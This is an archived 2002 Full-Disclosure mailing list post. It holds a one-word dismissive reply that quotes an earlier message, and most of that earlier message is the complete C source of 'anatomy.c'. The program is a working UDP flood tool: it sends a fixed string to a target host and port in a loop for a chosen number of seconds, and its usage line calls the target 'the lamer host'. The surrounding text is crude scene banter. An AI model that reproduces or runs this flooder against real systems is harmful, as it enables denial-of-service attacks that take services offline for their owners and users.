|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
From: Charles Stevenson (core_at_bokeoa.com)
Date: Mon Aug 26 2002 - 21:11:08 CDT
Boring...
peace,
core
On Tue, Aug 27, 2002 at 01:37:37AM +0000, Slack wh0re wrote:
> /*
> * Anatomy.c
> * I have no idea how this could be a threat
> * if it would be kept private.
> *
> * Published by: slackwh0re
> <slackwh0re
fuck-el8-and-fuck-phrack_at_efnet.com>
> * Author: unknown <unknown
unknown.unk>
> *
> * k1dd13 us4g3: ./anatomy
> * 3ls3: `vi anatomy.c`
> *
> * --slackwh0re
> *
> * Full-Disclosure, Fresh and shiny.
> * Full-Disclosure, Unreal hacking.
> * Full-Disclosure, Cos that's the real elite shit.
> * Full-Disclosure, Ken Levine does it.
> * Full-Disclosure, - since 1901.
> * Full-Disclosure, ~/Full-Disclosure directory.
> * Full-Disclosure, Erected because of it.
> * Full-Disclosure, Lame el8 blames
> * Full-Disclosure,l8er.
> *
> * He said: "Don't wonder why there is no comments."
> */
>
> #define BOMB_STRING "0123456789ABCDE"
> #define BOMB_SIZE 15
>
> #include <stdio.h>
> #include <sys/param.h>
> #include <sys/socket.h>
> #include <sys/time.h>
> #include <time.h>
> #include <netinet/in.h>
> #include <netdb.h>
> #include <stdarg.h>
>
> int echo_connect(char *, short);
>
> int echo_connect(char *server, short port)
> {
> struct sockaddr_in sin;
> struct hostent *hp;
> int thesock;
>
> printf("\n");
> printf("Stealth> %s : port %d\n", server, port);
> hp = gethostbyname(server);
> if (hp==NULL) {
> printf("Stealth> Non-existant host: %s\n",server);
> printf("\n");
> exit(0);
> }
> bzero((char*) &sin, sizeof(sin));
> bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
> sin.sin_family = hp->h_addrtype;
> sin.sin_port = htons(port);
> thesock = socket(AF_INET, SOCK_DGRAM, 0);
> connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
> return thesock;
> }
> main(int argc, char **argv)
> {
> time_t start=time(NULL);
> int s;
> int secs;
> if(argc != 4)
> {
>
> printf("\n");
> printf("Anatomy Stealth By T10o Modified By The DvS. U dun PheeR?!\n");
> printf("\n");
> printf("Usage: st-kill <the lamer host> <fucking port> <secs>\n");
> printf("\n");
> exit(0);
> }
> s=echo_connect(argv[1], atoi(argv[2]));
> secs= atoi(argv[3]);
> for(;;)
> {
> while(time(NULL) <= start+secs)
> {send(s, BOMB_STRING, BOMB_SIZE, 0);}
> exit(0);
> }
> }
>
> /* From the big generousity of el8 and phrack
efnet. */
> /* l4m3rz!! h4h4!!! */
>
>
>
>
>
> _________________________________________________________________
> Chat with friends online, try MSN Messenger: http://messenger.msn.com
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
-- Charles Stevenson (core) <corebokeoa.com> Lab Assistant, College of Eastern Utah San Juan Campus http://www.bokeoa.com/~core/core.asc
-----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux)
iD8DBQE9at+7GAuLrxOyeJMRAvo2AKCU7n8iRNwviWsUwtQPU2EV+L3irwCfQ00I CzUtzH03F1ofC8BF77yTHVk= =0nAR -----END PGP SIGNATURE-----
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]